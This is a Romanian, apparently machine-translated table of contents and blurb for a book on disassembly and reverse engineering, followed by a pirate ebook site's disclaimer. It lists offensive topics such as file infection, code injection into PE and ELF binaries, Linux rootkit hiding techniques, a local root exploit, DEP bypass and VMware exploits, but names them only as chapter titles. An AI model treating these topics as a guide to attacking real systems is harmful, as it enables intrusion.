și temporare Înregistrarea variabilelor Variabile temporare Crearea de variabile temporare la transferul datelor și evaluarea expresiilor Cuprins Crearea de variabile temporare pentru a stoca valoarea returnată de o funcție și rezultatele evaluării expresiilor Domeniul de aplicare al variabilelor temporare Capitolul Identificarea variabilelor globale Tehnica de restaurare cu referințe încrucișate Urmărirea referințelor la variabile globale prin căutarea contextuală a offset-ului lor în segmentul de cod [date] Diferențele dintre constante și pointeri Adresarea indirectă a variabilelor globale Variabile statice Capitolul Determinarea tipului unui operand imediat Cazuri dificile de adresare sau operaţii matematice cu pointeri Ordinea indexurilor și a indicatorilor Folosirea LEA pentru a adăuga constante Identificarea „vizuală” a constantelor și a indicatorilor Capitolul Identificarea literală și a șirurilor de caractere Tipuri de rânduri C-strings linii DOS Coarde de pascal Tipuri combinate Determinarea tipului de rânduri Inițializarea turbo a variabilelor șir Capitolul Tipuri de condiții Reprezentarea vizuală a condiţiilor complexe sub formă de arbore Investigarea implementărilor specifice Compararea valorilor întregi Compararea numerelor reale Comenzi booleene condiționale Alte comenzi condiționale Comparații booleene Identificarea operatorului condiționat Specificații instrucțiunilor de ramificație condiționată în modul pe biți Exemple practice Optimizarea ramurilor Capitolul Identificarea operatorilor cu alegere multiplă Diferențele dintre instrucțiunea switch și case în Pascal Tăierea (echilibrarea) copacilor lungi Cazuri dificile de echilibrare sau optimizare a echilibrării Filiale în manipulatorii de cazuri Capitolul Identificarea buclei Bucle cu o precondiție Bucle cu o postcondiție Cuprins Bucle cu contor Bucle cu o afecțiune la mijloc Bucle cu mai multe condiții de ieșire Bucle cu contoare multiple Identificarea continuării Condiții dificile Bucle imbricate Liste de exemple de dezasamblare Capitolul Identificarea operatorului + Identificarea operatorului- Identificarea operatorului/ Identificarea operatorului % Identificarea operatorului * Operatori complexi PARTEA IV TEHNICI AVANSATE DE DEMONTARE Capitolul Particularități ale structurii fișierelor PE în implementări specifice Concepte generale și cerințe pentru fișierele PE Structura fișierului PE Tehnici pentru injectarea și eliminarea codului din fișierele PE Conceptul de cod X și alte convenții Scopurile și obiectivele codului X Cerințe pentru codul X Implementarea codului X Prevenirea reintroducerii Clasificarea mecanismelor de implementare Categoria A: încorporarea în spațiul liber al fișierului Categoria A: încorporare prin comprimarea unei părți a unui fișier Categoria A: crearea unui nou flux NTFS în interiorul unui fișier Categoria B: Alunecare antet Categoria B: Resetarea unei părți dintr-o secțiune la o suprapunere Categoria B: Crearea propriei suprapuneri Categoria C: extensia ultimei secțiuni a fișierului Categoria C: crearea propriei secțiuni Categoria C: extinderea secțiunilor din mijloc ale dosarului Categoria Z: injecție prin dll-uri de încărcare automată Capitolul Instrumentele necesare Structura fișierelor ELF Injectarea codului străin într-un fișier ELF Infecția prin consumul de fișiere Infecția prin extinderea ultimei secțiuni a unui fișier Comprimarea unei părți a fișierului original Infecția prin extensia secțiunii de cod a fișierului Cuprins Schimbați secțiunea codului în jos Crearea propriei secțiuni Încorporarea între fișier și antet Exemplu practic de injectare de cod străin într-un fișier ELF Particularități ale dezasamblarii sub Linux pe exemplul lui tiny-crackme Explorarea puzzle-ului minuscul crackme Concluzie Capitolul Introducere Instrumentele necesare Privire de ansamblu asupra arhitecturii x - Trecerea la modul pe de biți Programul „Bună ziua, lume” pentru х - Capitolul Cercetarea kernel-ului Linux În afara nucleului Furtuna de miez În interiorul nucleului Unde cuibăresc gândacii Secretele hacking-ului kernelului Schimbarea siglei Linux Capitolul Secretele corecțiilor online Cel mai simplu patcher on-line Cursa spre față Interceptarea API-ului funcționează ca sistem de semnalizare Puncte de întrerupere hardware Modalități puțin cunoscute de a pirata programele client Prezentare generală a metodelor de hacking Modificare fără modificarea octeților Windows NT/ /XP Kernel Hack Structura kernelului Tipuri de sâmburi Metode de modificare a kernelului Modificarea siglei de pornire Există viață după BSOD? Depășirea unui BSOD cu SoftICE Recuperare automată Cât de sigur este utilitarul Anti-BSOD? Concluzie Capitolul Dezasamblarea fișierelor PDF Ce le promite Adobe Acrobat nonconformiștilor Modificarea Adobe Acrobat Hacking cu PrintScreen Deveniți poliglot Structura fișierului PDF Cuprins Generarea cheii de criptare Atacul asupra parolei U Schimbarea practică a parolelor PDF Resurse interesante PARTEA V SAPAREA CODURILOR PRACTICE Capitolul Trucuri vechi anti-depanare sub Windows într-un mod nou Programul de auto-urmărire Exemple de anti-depanare bazate pe accesul la memoria fizică Cum funcționează Win K/XP SDT Restore Tehnologii ascunse în lumea Windows Pastila albastră și pastila roșie - Windows se blochează în matrice Pastilă albastră Pastilă roșie Tehnologii ascunse în lumea Linux Modulul unu, modulul doi Excluderea unui proces din lista de sarcini Interceptarea apelurilor de sistem Interceptarea cererilor către sistemul de fișiere Când modulele nu sunt disponibile Alte metode de luptă Link-uri furtive interesante Capturarea inelului în Linux Metode oneste de hacking Blue Tooth Hole sau Linux Kernel Bluetooth Local Root Exploit Spiridușii cad în groapă Probleme legate de multithreading Obținerea root pe mașinile multiprocesor Capitolul Configurarea DEP Probleme de compatibilitate Atacul asupra DEP În tabăra UNIX BufferShield sau PaX pe Windows Resurse interesante Capitolul Analiza preliminara Despachetarea și alternativele sale Algoritmul de despachetare În căutarea unui OEP Dump-ul de program în direct Căutarea unui cod de pornire după semnături în memorie Câteva moduri populare, dar nereușite: GetModuleHandleA și gs: Efectele secundare ale ambalajelor sau de ce VirtuaIProtect nu funcționează Metodă generică de găsire a OEP pe baza echilibrului stivei Cuprins Tehnici de descărcare a aplicațiilor protejate Cazuri simple de dumping În căutarea propriei persoane Deversare din exterior Mecanisme de decriptare dinamică Bascula din interior Trucuri murdare Link-uri utile Pachetele executabile LINUX/BSD și lupta lor Ambalatori și productivitate Cripta ELF UPX Burney Shiva Comparație între ambalatori Capitolul Cum funcționează ofuscatorul Cum se rupe Dezlegarea codului Cutie neagră Temnițele de mașini virtuale Viitorul ofucării Capitolul Detectarea, depanarea și dezasamblarea programelor malware Timpul lasa si el amprente Arborele de proces Interogarea firului de discuție Restaurarea SST Auditarea și dezasamblarea exploit-urilor Cum sunt disecate exploit-urile Analiza exploatării pe un exemplu practic Cum să rulați shellcode sub un depanator Concluzie Link-uri interesante Capitolul Atacul asupra emulatorilor Atacul printr-o rețea virtuală Atacare prin folder htt Atacul prin interfața backdoor Cele mai recente exploatări pentru mașinile virtuale VMware: Execuție de cod arbitrar de la distanță VMware: Arbitrary Code Remote Execution II VMware: suprascrierea unui fișier arbitrar Subminarea mașinilor virtuale din interior Index de subiecte Chris Kaspersky, Eva Rocco DEMONTAREA Cartea este dedicată problemelor și metodelor de dezasamblare, a căror cunoaștere vă va permite să vă protejați eficient programele și să creați coduri de program mai optimizate Sunt prezentate diferite abordări ale analizei algoritmului programului și sunt oferite recomandări despre cum să nu vă pierdeți în megaocteți de cod dezasamblat și să evitați diverse capcane O privire de ansamblu asupra instrumentelor de hacking populare pentru Windows, UNIX și Linux - depanatoare, dezasamblatoare, editori hexadecimale, spioni API și RPC, emulatori - și demonstrează tehnici practice de lucru cu acestea O atenție considerabilă este acordată subiectelor de reconstrucție a algoritmilor pentru funcționarea mecanismelor de apărare și identificarea structurilor cheie ale limbajelor de nivel înalt, cum ar fi C/C++ și Pascal Sunt luate în considerare modalități practice de depășire a tehnicilor anti-depanare, tehnici de descărcare a aplicațiilor protejate, depășirea packerilor și a protectorilor Exemplele arată metode de analiză a codului de programe rău intenționate și exploit-uri CD-ul conține codul pentru exemplele tratate în carte BHV-Petersburg Sankt Petersburg Sf Yesenina, B E-gpaіІ: mail@bhv ru Internet: www bhv ru Tel/Fax: ( ) - ISBN - - - - Acest fișier a fost preluat de pe site http://all-ebooks com Acest fișier este prezentat doar în scop informativ După ce ați citit conținutul acestui fișier, ar trebui să-l ștergeți imediat Prin salvarea acestui fișier, sunteți responsabil în conformitate cu legea Orice utilizare comercială sau de altă natură, cu excepția previzualizării, este interzisă Publicarea acestui document nu oferă niciun beneficiu comercial Această carte promovează creșterea profesională a cititorilor și este o reclamă pentru publicațiile pe hârtie Toate drepturile de autor aparțin proprietarilor lor respectați Dacă sunteți autorul acestei cărți și distribuția ei vă încalcă drepturile de autor sau dacă doriți să faceți modificări acestui document sau să publicați o carte nouă, vă rugăm să ne contactați prin e-mail 